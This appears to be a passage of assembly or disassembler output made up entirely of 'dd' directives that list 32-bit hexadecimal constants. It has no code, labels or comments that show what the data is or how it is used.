dd 26E6A17Fh, 0F974C515h, 5E8D4FF2h, 36007B7Ch, 79E52F44h
dd 0E53D7182h, 1297FBDDh, 972EB4D0h, 5D268D02h, 0B02384EEh
dd 8CBBB878h, 66ADCB4Eh, 5D43D9A7h, 6806009Dh, 5658BACEh
dd 50DB164Eh, 0F8ED6BF0h, 0A388A0C7h, 0EC1CF8F5h, 2F05619Eh
dd 0A76CCC3Ah, 0EC42028Bh, 6C80B81Dh, 886F29D6h, 54B79748h
dd 70D5B6ACh, 0E89D6EE1h, 5D59CCBDh, 1B9747AFh, 0BBEA274Ah
dd 0C30A0A4Dh, 0DA3D38E2h, 0B4260BF2h, 7095960Dh, 2950AAD4h
dd 390E6FA1h, 0FAB39809h, 0DFCBD68Dh, 0A81F9E34h, 5729017Dh
dd 0BCB342EEh, 5F32D4F7h, 5C635042h, 5451D71Eh, 30D92DD1h
dd 0A749FADh, 0CD5AC6ACh, 0DE66690h, 0CFF5E692h, 0F70FE032h
dd 0DBC1FE65h, 73C47941h, 4F1115A3h, 264A943Fh, 90F112EEh
dd 0A433B7Ch, 0CD2663C4h, 96A71E68h, 38B96A91h, 0A7BAC794h
dd 39A75926h, 0CABF72Eh, 0D6702C3Ch, 24A7D469h, 5D4E4FF5h
dd 747DDCDBh, 31DDCA1Bh, 7082F784h, 6715C3EBh, 0FE9FAA56h
dd 0DE4461D3h, 940813D6h, 0AA855C18h, 0A66AFA19h, 2ACC639Fh
dd 0F1A54C04h, 0BF4B4B5Bh, 9FF96DDBh, 0A6C6608Dh, 3604B48Ah
dd 0D4DB2010h, 0B01D9112h, 54C13E35h, 7512D455h, 30D601EAh
dd 0B99BEBBCh, 41B8C0F4h, 65382D4Eh, 5543B61h, 6002D8B9h
dd 77C20F7Bh, 486FBA41h, 0D9B9A8C2h, 3C8B8FCh, 0E4F7D565h
dd 2F64555Eh, 82CDC607h, 0E83254B4h, 0A0BAFD03h, 98B68617h
dd 33554AFAh, 0A5D2779Eh, 64E4B2DEh, 8D036607h, 0A526711Bh
dd 7EE7C5F8h, 6845AFA3h, 69019459h, 3BF15FC5h, 8200854Ch
dd 3B16A876h, 7FE81679h, 3B1A2DE3h, 0FBB13EDFh, 0E4753EEEh
dd 0B7F16621h, 360FF12Ch, 0C9176521h, 0D5329D1Ch, 52D95E41h
dd 9F17C74h, 0DD5DF288h, 6A8981A1h, 58826B42h, 29FFD5C3h
dd 0B44CA17Ah, 707DFF5Ch, 0BDF99A82h, 45DBBA6Ah, 92C2ECBh
dd 20A3995Ch, 2E82E250h, 0DD261096h, 0AF459ED0h, 8A3E4C15h
dd 648DA79Fh, 0B1213D4Ch, 7F3BB003h, 4DE19929h, 0C05076CDh
dd 81A9C3BBh, 5CC84FD9h, 1BC8D08Fh, 6424D2A6h, 6EA0138Ch
dd 0E519D785h, 40FF235Ah, 99BDCF7Fh, 9C4ABFE7h, 3CE84D27h
dd 544D5110h, 0ADB5C863h, 4AC243FAh, 55576F5Fh, 161CAC47h
dd 45AB80E9h, 85D833C7h, 6749E105h, 644B29B2h, 0C1D9BB58h
dd 39E4D26Ch, 75A74767h, 0D82953F9h, 0AF22216Ch, 2A148788h
dd 200ECDDBh, 1C8AB377h
dd 75D51770h, 9BA8E494h, 0E932E12Bh, 0A5403867h, 0DB0EC790h
dd 1D57A05h, 0DE2EA7Ah, 0C395100Ah, 4CBB8C2h, 0F802D5CFh
dd 225C893Dh, 0BCA5CEABh, 3D8BE133h, 134F999Ah, 0F9223336h
dd 0DC16D725h, 0C91FBE97h, 0A9E6779Bh, 253E9BE5h, 0AA03C47Ah
dd 7ED30F3Eh, 6B497786h, 0F472B13h, 26DB0D7Bh, 0F42B0F5h
dd 5983C8FEh, 0B8831BD5h, 2A86ADA7h, 0F0F3E1EFh, 4122B65Bh
dd 0C70A1F3Ah, 18DDB3A2h, 50746BE8h, 29C3A7B6h, 87878453h
dd 0B858D91Bh, 9B8A6DF2h, 0AA65BC22h, 0BD0EC5E6h, 59027B6Ch
dd 0FBE3ECA0h, 0E9796BFFh, 67002106h, 42C0DD91h, 0C3BBDA68h
dd 0BA9061BBh, 0B5DE385Ch, 3941D462h, 0C65F25CCh, 0AC686B3Ah
dd 0DB78947Ah, 9DD26F9Ah, 0B14947E2h, 9F26CBE4h, 115792DDh
dd 87424E0Eh, 9007BC97h, 472F3417h, 0DB0108C9h, 0A54F439Bh
dd 4B126641h, 57DFDB0Eh, 0A41F4CB8h, 0CDAD7FCCh, 0F766912Ah
dd 0E156907Bh, 0EF8C6B2Ah, 375DD720h, 511FAB84h, 0F68F4C17h
dd 384CA0A2h, 70354006h, 0AAF967A0h, 49FBCBBBh, 53901F08h
dd 771A1FF9h, 534460Eh, 0EDCE8800h, 0DC561D95h, 4BA56191h
dd 0A149D4BEh, 0B449EBB8h, 0D63BEFBEh, 7374E6E6h, 0F6ABC73Ah
dd 1AC4CA7Ch, 0A98D91D1h, 0F5792AC4h, 579BCDBAh, 0FC0208BDh
dd 9E0527D2h, 0CBD7562Bh, 0A63CC4D5h, 0E89794D5h, 84A84C30h
dd 0F854493Ch, 7EBB276Ah, 0B9D19E1Fh, 51EF5343h, 9465B443h
dd 91BEDA60h, 0C1A03EC2h, 0AD4D9151h, 46014BADh, 9AB47D36h
dd 55F8DDCCh, 364D8324h, 6CBC50E5h, 2D3375A3h, 5EF0A3FCh
dd 0E52C89Fh, 0AF41B227h, 0FD0FB447h, 8B5CA4C2h, 0C8E12DDFh
dd 231BAE87h, 83E99E58h, 269B66B2h, 0CA870896h, 544A8237h
dd 0AD5B233Bh, 2BBB821Ch, 0EFEBB916h, 7F082DC1h, 319762C9h
dd 84877657h, 4B6E65C5h, 5BB9581Dh, 13B8D7Bh, 8D045DFDh
dd 0B5834DC5h, 728CF4C6h, 9ED3C8B6h, 93F18C92h, 0B04367E8h
dd 82669761h, 0D8672A09h, 0AF6DBA71h, 0A20EDA3Ch, 326DD9ACh
dd 462AAB8Ch, 0A111D626h, 0CF6C9F5h, 4A1C42DEh, 5E788D8Eh
dd 79468762h, 4B5A60EFh, 0AFFE8AA0h, 90457645h, 7E76CB17h
dd 9D284346h, 762EEB14h, 477D4A4Eh, 7E7355Bh, 79AE6F5Ah
dd 1B780A6Ch, 0A6795642h, 0DBB07FC7h, 0FD1DB135h, 143BB24Dh
dd 0F04729F4h, 0BE13FA00h, 0E30EC250h, 756C5138h, 6CD90A69h
dd 0CABEBF28h, 0C299A846h, 0AF05D781h, 49500762h, 0EEE745C2h
dd 0DA08D48Dh, 4300A18Eh, 0A52D4344h, 0F2E29EF4h, 0DD4702A6h
dd 6DCD0852h, 0EC367431h, 39FABF56h, 0F7F5735Bh, 0B61F424Eh
dd 0D1D525ADh, 4E67FF20h, 0D7CD9273h, 11D8168h, 51BD8081h
dd 5C522B61h, 61770696h, 0AD967AB9h, 3F709D6Fh, 0A04C6048h
dd 5AAA73F3h, 71ADB755h, 0E6AE08E0h, 4A601088h, 0F79D9BF1h
dd 0B74D248Eh, 0C3DE345Fh, 80ADF791h, 0B2556F0Dh, 4A1BB5CAh
dd 57759AC1h, 0A6AB32BDh, 0E685E777h, 0EEB2524Ch, 48D34643h
dd 17B4D9B4h, 0E0484656h, 8F86877h, 0DDB23D4Ch, 84114B01h
dd 519CD636h, 7E4B41EDh, 36220E29h, 2DBF6F39h, 682523EFh
dd 0C61B40E5h, 6C55BA6Ch, 0E86B3640h, 23A88E0Bh, 0BF49DF25h
dd 0B96FA3FBh, 6EFBAA2Ah, 97E508E8h, 732CE10h, 0C9EC0B1Dh
dd 7DB66C9Eh, 804A17F4h, 276A00B0h, 90C2FAD9h, 24917056h
dd 2BDAFD4Ch, 0E2F22639h, 0EBE93C70h, 0D236C943h, 83CE5F61h
dd 657DA57Dh, 8719E38Bh, 12A4344h, 4525EAAAh, 0C5BDE290h
dd 55E627F8h, 2E751114h, 20EDB4E5h, 0F20EAF62h, 0AB5E6CB1h
dd 1AC41AB3h, 0B906B1BAh, 64689DCCh, 5A54B85Ch, 6595FD85h
dd 0DAC298B7h, 8CB28290h, 15F8BA76h, 83EE0D07h, 0AAA979DAh
dd 0D1538CDh, 49D4689Eh, 0C2908AF0h, 3EADAED0h, 0D8272AFCh
dd 0C4CC1412h, 7C9BB072h, 0DB76816Ah, 450369E8h, 0B6CCFC32h
dd 0C2F95295h, 678BA410h, 39441CCBh, 0C99D10EBh, 20936DCh
dd 0F5694CB2h, 685DE31Ah, 95B01686h, 59C5F74Ah, 0C2EFCFDAh
dd 6382A201h, 7065385Bh, 5B8A69E5h, 40E61569h, 76DE9D4Fh
dd 0F63BB200h, 6F5D6666h, 89554737h, 90F388E6h, 4E3BEF1h
dd 0A5153DEBh, 3660F26Ah, 4D191BCCh, 0C119CC30h, 0DE9A5FFCh
dd 0D526D393h, 3490492Dh, 96555B3Fh, 0FB30800Ah, 0A5C2DFF4h
dd 82059D93h, 0FAEEB3AAh, 2082BF79h, 3C62F62h, 53BE1746h
dd 0F05C5987h, 0C8E9EE58h, 71142B42h, 42860A4h, 0B32FABB6h
dd 0F07806F8h, 4574901Ah, 0C913B6EBh, 0AF24D868h, 7076FE6h
dd 0D8A5A93Bh, 20697098h, 0A7B596E0h, 89D83343h, 85AB9951h
dd 7D59D1B5h, 0A05BD636h, 8A2F806Ch, 9D80326Fh, 1835BE75h
dd 3BAEFE3h, 4D2406EDh, 9D6E7AA9h, 0A34C0203h, 4FEDFF91h
dd 6DE362EEh, 0A05DF507h, 50F4E6C1h, 70CAA9C0h, 0D4EAD82h
dd 0BC732714h, 0E31C064Eh, 4FC6E4A0h, 150EB575h, 515417CFh
dd 71F90F01h, 23FBE1B4h, 0DACFDD19h, 55E9555Eh, 0CC8FF417h
dd 50643814h, 8279D94Ch, 5F48C032h, 0F6D20D91h, 965CC02Ah
dd 111793FDh, 0E2DFE8Ah, 989D2602h, 0A5CB77FDh, 0C26E04A1h
dd 0FA33A366h, 0FECE8007h, 0CFAD370h, 9750D06Fh, 0E8AD0915h
dd 65AFDDA0h, 0CCE8B27Fh, 55E179D5h, 89D4DA4Dh, 42F166D8h
dd 0C2D6300Eh, 79F06ED5h, 345388F6h, 99DBFED3h, 0B5F10733h
dd 0CF66DF4Ah, 0CEE70DFBh, 4E817771h, 2B575750h, 0A038F682h
dd 0AD93F04Ah, 0A6B5B48Eh, 17537CAAh, 9053E32Ch, 8C9B7A9h
dd 0BDED5F1Fh, 15A7D99Fh, 27669031h, 4EE1712Eh, 5954F30Dh
dd 95D4EC3Ah, 0AE41800Eh, 0F216B4CAh, 4883F66Bh, 96CE8B6h
dd 6A233E3Dh, 0BEB7428h, 43B6B33h, 1EADB752h, 0BA2DE8B8h
dd 1C72C1h, 1BD5D704h, 0D942406Bh, 9B81860Bh, 3AE7EDEEh
dd 0F03BA3ACh, 6C3FEE4h, 284E1h, 0C2DA045Dh, 660388D7h
dd 0D5702500h, 0B730486Eh, 0E8773722h, 0BB5800FEh, 0F5EE5050h
dd 9142EC57h, 0D746B49Ah, 3BE494BEh, 58751DC5h, 86189758h
dd 0E6DB85C2h, 0D8B16B60h, 42E7C065h, 43918E0Bh, 0D761BDFAh
dd 1CB0EEB1h, 0E722E3D4h, 0A837D12h, 0B7AF0D3Fh, 0C8E359A7h
dd 78E8123Eh, 0F1AD838Eh, 247E0F33h, 5288F050h, 0B7A4E724h
dd 0F277DBF4h, 0A7776CDDh, 0EAD5F5B5h, 1CAA190Eh, 897EF37Dh
dd 87313C07h, 97960FA4h, 0B6B61B3Ch, 5F32A1A0h, 85C9C66Ch
dd 47E29D92h, 275700A7h, 0CA708E08h, 0DA18E760h, 0FF9467Ch
dd 47ABC72Dh, 99034603h, 6E3F260Bh, 366BBC84h, 4A74EC11h
dd 0B9162637h, 970ABDB8h, 516A2A24h, 94BB4142h, 0A3CDA2E9h
dd 35D79BA4h, 0A0ED6D39h, 0D3CB49A5h, 0AB52355Dh, 0A2AC2A74h
dd 0BA13C442h, 2C8091FDh, 0E5F95E29h, 0A6C89452h, 5CD2C947h
dd 770CE8C5h, 12A8AD2Ch, 0B3E5BAh, 1792B0B3h, 78430C11h
dd 27651D51h, 2D190FAEh, 0B9C896h, 4CB340F1h, 80A20480h
dd 95F63D86h, 0B9D94F1Ah, 595A4492h, 4C39FCA5h, 7998A560h
dd 2541B046h, 0A83A8A35h, 75CA645Fh, 0BEC3B257h, 750707B7h
dd 862A0AECh, 0CD89DA29h, 0CC2C0452h, 983CF6DBh, 0A03C5817h
dd 801B5F54h, 775E499Ah, 4C88A106h, 9516A661h, 0F5753DA9h
dd 0EF4815F4h, 3A70DF90h, 0B11E9BF3h, 4033F994h, 1D17EC01h
dd 9F68B21Dh, 0BA44928Ah, 454DD6F2h, 9AAEF606h, 0D8AFD802h
dd 0B12148E4h, 4052064Ch, 0C6A2B375h, 82D8B9C5h, 2314D858h
dd 0EA290467h, 32E3A475h, 3856D211h, 309B70E3h, 7B6BED24h
dd 0B6973FF1h, 8514DBF8h
dd 14211EB9h, 8A8B7547h, 0D6B31832h, 0D422644Eh, 0DBBC357Ah
dd 0ED703419h, 2348F67Dh, 524AFB01h, 243CCF8Fh, 25412674h
dd 0FB4DD7CFh, 0D61F9ABAh, 0EA31F56h, 0A1897030h, 57B4BE74h
dd 3D53919Eh, 443D3CEAh, 86E42CDAh, 41BFD29h, 0D2FD1EEDh
dd 0FD18ED53h, 8C93EAE5h, 64882E1Fh, 0C9EBF9D6h, 0A9B4FA76h
dd 0FDD90432h, 0C566F86Dh, 51D37315h, 1CB15394h, 4A052672h
dd 66DDC0D2h, 0DC44FE20h, 650700D5h, 0EF572F1h, 5D5A91AFh
dd 1A50454Ch, 65FBCB01h, 51DA8B99h, 0EBE3784Bh, 4A7E0640h
dd 2A6C94C9h, 5ABC1D89h, 0F67A8BB7h, 0D7F602F7h, 48AA4DACh
dd 0EFC7CAD0h, 2EAEEFD8h, 7E4B6EA0h, 0DB5118E1h, 8DFACC20h
dd 0A8C2E69Eh, 2A813D1Ch, 0F2788EE0h, 0F6D47055h, 0C8716FF9h
dd 0ECC9838h, 0E3018601h, 82001F41h, 0D47579D6h, 0C071C252h
dd 7100D334h, 814C9CE8h, 3052C117h, 0B7EC058h, 476779E1h
dd 0F733C2E6h, 25A62402h, 0DC73BF11h, 71BE717Eh, 0EF7E67AFh
dd 0A36BF274h, 2FD571CFh, 0B0757DDBh, 91AF8AA1h, 768223BFh
dd 4F895A86h, 20492651h, 2F50D3F6h, 52790C60h, 7DDE8E70h
dd 6915195Ch, 0C7C4C869h, 50F6560Ah, 9145ECB1h, 0BEEB343Dh
dd 2BA0C6A6h, 3CDB874h, 0FA738CC9h, 2B2A10E3h, 16BB21AAh
dd 5C7AE55h, 1887A8BEh, 94B1C7D3h, 9A0FBA67h, 25A1169Bh
dd 247183F0h, 0D11E33Dh, 1923E2B1h, 68469236h, 7EBDD31Ch
dd 65D6CB83h, 436E4412h, 26EB7665h, 5748F4A6h, 0B548F3F1h
dd 0EFFF0589h, 0B0130A77h, 0D52D458Bh, 0CD7719E3h, 4AA8A6F0h
dd 0D7AEBB2Bh, 0D1A2EADCh, 5575A341h, 0D38DDBC2h, 3F88264Fh
dd 9BA86822h, 75FD52F5h, 0BBCA0793h, 0DE796EC4h, 0E9B61639h
dd 4F7DF5EEh, 7B9039A4h, 264C6ECAh, 0C3858A99h, 544D3A23h
dd 667B9F77h, 3E2E6424h, 0BBDF80FEh, 3AFC3BABh, 5834EB95h
dd 4EA7CF60h, 0D01FF22Ah, 0FD2489C0h, 0FE66332Dh, 7E11B4D0h
dd 729C0454h, 0A06AA966h, 7067BD78h, 0CFAAC9C0h, 0A2634F57h
dd 5E917469h, 0D4DF26D3h, 8AE4E398h, 0E688B1A8h, 100214D2h
dd 82D2DF3Fh, 0FB088CF6h, 0D8FA80CFh, 0AB16DA2Ch, 66D8F048h
dd 146F8F2Ch, 750C44C8h, 0C14A88Fh, 68999F74h, 10090566h
dd 44806087h, 0DE9DEA1Ch, 0CB25F224h, 1280D687h, 1C0411DEh
dd 745110EBh, 0F4612398h, 4A22E45Dh, 0D4FCF28Ch, 6621E99Ah
dd 49ECD970h, 2CCACA10h, 13B9E92Fh, 512C56F5h, 893B2A90h
dd 9DEE6AB5h, 8C57283h, 91B5A59Ah, 8A653688h, 0AB42D8FDh
dd 4CD87BB2h, 30D5ED02h, 5C56028Dh, 4D7C11A2h, 7720169Dh
dd 5056F2ADh, 3FCEA048h, 621C4E38h, 437FC837h, 0FAEF3CC8h
dd 0E97ADA06h, 0AC0CFD1Bh, 5CDCFF32h, 9C81E839h, 0E0CA7356h
dd 91CD4510h, 12BB63BBh, 0A29C18DDh, 1393D4C3h, 45247A42h
dd 6F9C5AE6h, 0FB19965Ch, 0AF753281h, 554DC143h, 0EFFE6E87h
dd 5A2DCA5Bh, 14B29896h, 0E9AF927Bh, 0CB9748A7h, 1F2B235Eh
dd 228C8FF7h, 31C89021h, 332614F1h, 4E3E6DE8h, 8B289365h
dd 5C65489Dh, 3C42252h, 9BA8988h, 0C32BA08Fh, 0F430EE1h
dd 0CCC07C06h, 0AAF564Fh, 0D718CBFCh, 25C5EE12h, 485A2151h
dd 4CA9CA62h, 9E2D417Dh, 35444A90h, 6E74B667h, 0BC5EE4BAh
dd 0ADFF119Ah, 1416F6D6h, 71927429h, 0A238A8BCh, 1E0103DEh
dd 0A9B3C81Fh, 17BA0B5Fh, 0EE12643Ch, 5D8DAA71h, 27E1B7F7h
dd 0EAC7EF0Bh, 0AA4F2A61h, 0DE451F91h, 0DCE9AC14h, 2C81684Ch
dd 7AD9E8E2h, 0F95FAEF4h, 515AE440h, 98F7E38Eh, 3837FFB9h
dd 7EB912B5h, 0ECF82864h, 6B9763BCh, 2CF4819h, 63FDF71Dh
dd 65ADEEBh, 0E86C61E3h, 0C1C7AA66h, 0F6507A2Dh, 0CFFC954Ch
dd 9C52B9FEh, 3FB87B7h, 2525D862h, 0FC24EFBFh, 76C5F590h
dd 0D64EE62Fh, 39289649h, 3D8072F2h, 751C92AEh, 0D65FAABBh
dd 9EC6A2E7h, 0F2FE480Dh, 95E9CB6Ch, 2F26F2DBh, 36697272h
dd 1D286AF3h, 0E3EDAF39h, 0C54F550Dh, 66A7B092h, 0BDF22A03h
dd 0A427FD12h, 249D777Fh, 0ABABACD2h, 0EDBF76EBh, 77FB6D3Ch
dd 0F165CD8Bh, 21FC1484h, 0FE9277B5h, 6D745A50h, 54483C7Ah
dd 0B692AACAh, 1480B3CDh, 0E1AC07D3h, 0AEE4B8C3h, 0EA81CE57h
dd 7AA163F9h, 0AE61CBB1h, 266CE7CFh, 0D92E6E34h, 4F9A4E65h
dd 0A63238F1h, 740659D0h, 0E99DA70Ch, 0C8B503DFh, 15E7D35Fh
dd 9D4915D1h, 0D3C4BC0Ch, 4010BC1Bh, 0FC79D30Fh, 13619D39h
dd 4D44E920h, 5D87933Bh, 1B607FAh, 0D2D1BFC8h, 234EAD41h
dd 97F32A93h, 0D9C0A75Eh, 0D1FC0B7h, 1DE79A5Ch, 2F97E803h
dd 8DB6BC36h, 0A1FF6AEFh, 2E9B0D24h, 6BA4291Ch, 4A2DC681h
dd 583D7C2h, 0B583FDC8h, 43EC42B5h, 9E0B29CCh, 0A19198CBh
dd 3D87C4F5h, 870525F6h, 44C045C4h, 8417959Dh, 0A4C7949Fh
dd 0C6CC7E30h, 41064FDAh, 7F33725Bh, 0FCB03A2h, 0C94DC951h
dd 704F7600h, 526B705Dh, 400ECC81h, 3AFA276Ch, 0DD92BEC3h
dd 7314F1D2h, 8A6EE36Bh, 1E4978E2h, 0F526850h, 9B15B97Eh
dd 0B1F71FE5h, 0BC9D35E1h, 34179BF1h, 0D0FDAA1Dh, 0D27888E1h
dd 8CF0F839h, 6F9C12A4h, 0DB4A7850h, 804C4234h, 5B3934F3h
dd 0D9C8903Ah, 0AE42979Ah, 0F53D1341h, 19DCC14Bh, 4D845D23h
dd 0B7678300h, 0D4910061h, 776BC3A3h, 3EEF0C7Eh, 6262593Bh
dd 1B017F7Dh, 0E223F0C2h, 41B5A43Ch, 5DB5F3B5h, 0CEC3E01Eh
dd 0F819E03Dh, 72D22C96h, 25FBD3D8h, 0E721F5C9h, 0CF1A7AD8h
dd 270CDB06h, 5C2FFD4Ch, 0CAA648A3h, 2FE28109h, 2EC0EE8Dh
dd 0F88E879Ch, 0A62712ADh, 6A0AA911h, 9FE5DF77h, 0C1E89A48h
dd 92E33D87h, 58E2DFAh, 0A1316C00h, 0DB7270A6h, 0AD166D79h
dd 1A92ED14h, 0C59203E7h, 79B0C1DDh, 0D9801706h, 80D68406h
dd 3E8788F2h, 0E9332979h, 0C47C9839h, 0BECD0596h, 4BE3DBCEh
dd 0D8FA747Ch, 0CF168D28h, 40789AF4h, 0C2AA942Dh, 0A6B3148h
dd 81A01487h, 0B049AAB7h, 14A86BF0h, 0BD637554h, 0ECF168A0h
dd 2B8DE72Bh, 124873A3h, 779D79Eh, 6DEA0302h, 25338C26h
dd 0EACA36Bh, 1E30C9EFh, 8697B899h, 5B170C32h, 629B82DDh
dd 75101B5Fh, 19B0338Dh, 0F55146FCh, 4EF6A36Eh, 432E3FC0h
dd 315DB479h, 459B4D96h, 0F3957C15h, 0FADA27E5h, 4DEB8B4Eh
dd 0A48E189h, 12C08CD8h, 0EED627D6h, 3D308844h, 0CEE90E9Bh
dd 0E00DE55Bh, 91FEA02Ch, 2722DFCEh, 0DEEBF79Eh, 97F1CE00h
dd 0EE8F60B8h, 0FC046600h, 2808874Eh, 0DA31ECCFh, 383E33h
dd 9A365F05h, 0DED02284h, 7B7B6FB1h, 849D0276h, 127737DFh
dd 50F4C50Dh, 0B71AD80Dh, 634BBC73h, 0AB68A830h, 108A3EFAh
dd 8E21EEF5h, 8F83798Dh, 0E3B6F6A6h, 0D555308Dh, 0CF50C76Fh
dd 6E2A5371h, 74198311h, 69D33E72h, 0DE5EE416h, 0C401722Fh
dd 0EC118FD0h, 0AD00EDB8h, 3372494Dh, 32FC5EE2h, 6872813Bh
dd 78F3D30Ch, 18B9EB7h, 0AA63D5AEh, 0A33DE6D7h, 0A2C2B0C7h
dd 0CCA5F719h, 0F03AF2C5h, 656EF4C2h, 0CDD8B000h, 264C289h
dd 57BEAAD1h, 484ED975h, 8396690Bh, 9C930048h, 0C6DD8115h
dd 8D00C193h, 389E310Ah, 62E0D195h, 355C058Eh, 1B631047h
dd 3D63450Ah, 0CC4D18E3h, 0A1A18995h, 166C719Eh, 0B1D3F855h
dd 2A6003h, 39EFA6E4h, 0EEB9B0EDh, 0C72D1C1Eh, 7F1748C5h
dd 1566A0CDh, 0C58E4EF4h, 7CEA46FCh, 7AF54324h, 1E165814h
dd 0C474B8F6h, 604E9581h, 200DD471h, 0AA7D0751h, 0B011C84Fh
dd 0D59BCD0Ch, 0A8677E6h
dd 83E73584h, 7655CD3Fh, 29FC1619h, 477BCC15h, 0CFB3FC95h
dd 6A3217ECh, 90DCB66Ch, 24085C11h, 5F1722C3h, 8BDEB49Bh
dd 0E54DE991h, 0E124119Eh, 2E7CC666h, 0F57924BAh, 49998769h
dd 18DD3A5Fh, 6BFC8387h, 0A5993E11h, 72E2C94Bh, 0FE7B7C89h
dd 54310D71h, 0B64EB873h, 81B5CE91h, 3CDD7CC4h, 0B71F877h
dd 0F7B7AF2Bh, 7120700Fh, 7901B3F0h, 883ECCB8h, 156890F2h
dd 2B0D4062h, 0C22B4C05h, 4DF31380h, 7CB202C5h, 0BAA69585h
dd 7A3AB153h, 0AB1DEA71h, 0B005E5A3h, 0D6874658h, 3C909C36h
dd 6B49CF6Dh, 0BFA8A71h, 0D7C22BA3h, 3D84FF59h, 0DE616A90h
dd 618D3F01h, 0CFFF6042h, 0B3B6DF3Bh, 0AE99B3DBh, 0B03CF501h
dd 165EF055h, 2BB61552h, 54D3B19Eh, 0C4A43FC4h, 0B8AE799Dh
dd 0DE382BBAh, 5D8B9CA5h, 38F751FBh, 258DD3D9h, 0B384515Ah
dd 4E76D87Ch, 0FCCDA63Ch, 0A1A6AAA0h, 0DDB5E765h, 9F66F540h
dd 0E846041Ch, 0EE5D8243h, 36387A7Eh, 2B7C503Eh, 55C6AB2Bh
dd 449545C8h, 10A50EDDh, 5462B4DDh, 0C275D810h, 3B99FF6h
dd 0FE708047h, 317000D2h, 9433A72Eh, 796304FBh, 5A1A6C02h
dd 116FE955h, 7A63CE67h, 0D7F805D3h, 2FAC8187h, 0D87BA19h
dd 7E51CFB6h, 56D7D37Eh, 52B929A3h, 7ACA14D5h, 66439FE1h
dd 4F95DB65h, 0E2D3A57Fh, 0D1A35708h, 0F4557E88h, 70031E18h
dd 4C74C5D1h, 34364B80h, 7A4AA7B7h, 0D190D920h, 0D936C063h
dd 9ED17AFFh, 0E03544C5h, 1F6CC8D4h, 0BBB3E3D3h, 0E27A1051h
dd 7639567Bh, 869CB5FAh, 0FF35081Fh, 83605209h, 36E51216h
dd 0FAD9B75h, 0A83DCD66h, 0EA44A602h, 80EC2CCh, 5EAF3724h
dd 0EBADA67Dh, 0FC346893h, 84C3ACh, 0E0D2130h, 2C739873h
dd 13FEC6FDh, 0CFFF682Eh, 0F81B3E03h, 1BF65A20h, 195C7D86h
dd 67863443h, 0B9F85CE3h, 0F1351591h, 6A750582h, 22902408h
dd 42BE2B2Ah, 88A66004h, 84F2D8Bh, 0BD237D57h, 9E05969Fh
dd 0A271DACCh, 34CF8DCh, 40A50E7Ah, 29CDC109h, 58E1D0EEh
dd 31EA649Fh, 2516AB8Bh, 9C59F539h, 0C560ED50h, 9638009Ch
dd 486C0E4h, 0D6DCEE02h, 0AF17BC99h, 1C924E22h, 5BE730A7h
dd 0D3DC5BFFh, 0EF4DEDA6h, 5AF2368Fh, 0A91AE38h, 182234C5h
dd 0C1D0CD2h, 2F5595Eh, 88E8E617h, 90E1F25Eh, 50F9D32Ah
dd 0F1D6E2C4h, 0D09A5CF7h, 8FFF41E5h, 5C591D3Ah, 264A8C76h
dd 512F51E3h, 71AF4987h, 1B6A8A90h, 0B4F9397Dh, 0CA8214BEh
dd 28B1FA39h, 1C8C63F6h, 0F6D37811h, 9676AC68h, 311F1200h
dd 0F791E8D0h, 9420A60Eh, 0F7D4B66Fh, 0C4814B1Ah, 0F039B5BDh
dd 408470F5h, 0B84B73CAh, 0ABFC546Eh, 951E77C4h, 4D4644CAh
dd 9B921D38h, 4EF2764Fh, 3D3B8F17h, 0E633EED9h, 5015A974h
dd 5DCF5458h, 49AA4504h, 9BD83913h, 0DA58ADFh, 11B3425Dh
dd 0CF2041B4h, 74D3C81Fh, 0BF1E23A7h, 0C136DCF9h, 21BBB7BDh
dd 0ACB772A9h, 0F94F2CC9h, 70B10FBFh, 4BDC6E1h, 543518A9h
dd 0B1DE2B77h, 445CA226h, 0D7059488h, 1716E8C1h, 80C6C6Dh
dd 22F966EEh, 0B1B6850Ch, 66C95DF9h, 0C62FB9FBh, 9FB62681h
dd 0FA1E5228h, 0E03B2B40h, 0FDB337Bh, 0D4517C5Dh, 50E72A55h
dd 948C8864h, 9CFC43E8h, 16A9EC02h, 0D1E7049h, 6F1EA1D7h
dd 0F999135Bh, 2A42392Ah, 760BD90Ah, 423E1466h, 203372C7h
dd 7A08EA14h, 0DF464614h, 59EEE412h, 0C932B4F2h, 5B6B66CFh
dd 0F5B193E6h, 11A1C684h, 5A2B16E5h, 3F39EBA1h, 0ED182B9Ch
dd 0C10E8D8Fh, 20E10B4h, 0D4A55F78h, 668F24D8h, 1EF1C99Fh
dd 4210B5BDh, 0A425291Ah, 19EE2C93h, 0B8A737D0h, 0C2FBBFD6h
dd 7B23214Fh, 6F67EB48h, 0BF5D43FFh, 26C570BEh, 8E87865Fh
dd 0D1B8D1A1h, 0C199DEB5h, 29199E6Dh, 0D08DC035h, 3A37B42Ah
dd 0BF3853C2h, 0BB9F5AD7h, 1C041FFDh, 34C00C93h, 0F621EF17h
dd 934073B2h, 0C7DB01Dh, 0D1C11B6Ah, 2963CA4h, 5C25C68Fh
dd 7C125E6Dh, 0E41EEED3h, 194DD5BAh, 73CF002Dh, 0A5FCF24Dh
dd 4D79CA26h, 1A4C6F12h, 9CE58AEAh, 0C1886520h, 742F8D4Fh
dd 0D9544C00h, 0BEB00F3Bh, 0F5B559F1h, 0C33D98DEh, 31A2440h
dd 0C8FFA9BCh, 0F8523EDBh, 35B0526Ch, 41665B35h, 0CED6C31Ch
dd 0D8A31DDEh, 32CE500Dh, 0AA6C6AF2h, 0C3B7ED09h, 14F33021h
dd 0AB5DBE58h, 0A0DA2034h, 1FA21375h, 0A2CFCCFEh, 0D31182BFh
dd 7F41913Bh, 67C81806h, 87C0F407h, 0DD34A9FAh, 0EF7FABA0h
dd 0A3B902EEh, 0FCD72163h, 7F922A5Dh, 9539C0B0h, 314A1F7Bh
dd 4E7D7E91h, 0B00A104Ah, 0E9C86EDEh, 792F0724h, 90D287D5h
dd 710F5DCBh, 0A453792Ch, 934283B2h, 198C93C2h, 8FDEBBA5h
dd 71C53F71h, 9D82D818h, 0F133BAEAh, 5BEDCFF2h, 400887A4h
dd 0A50380BDh, 3741C75Eh, 8501AD19h, 953D17E9h, 0D314EFC9h
dd 0AFD3A0A3h, 0CAEC990Eh, 0F41AC763h, 84EDEED2h, 0F09BAD43h
dd 797DD344h, 0C33A381Fh, 3C65E5F3h, 0C173297Ah, 0A186932Bh
dd 333EC08Ah, 0F6A4F2D4h, 0CD92F406h, 246E42ECh, 7FE503DCh
dd 599112E8h, 0D3C12F9h, 702BCAAEh, 98F9547Ah, 3321513Ah
dd 0A3009BCCh, 640E50AAh, 3A5E605Ch, 0B8A1E396h, 988C4D26h
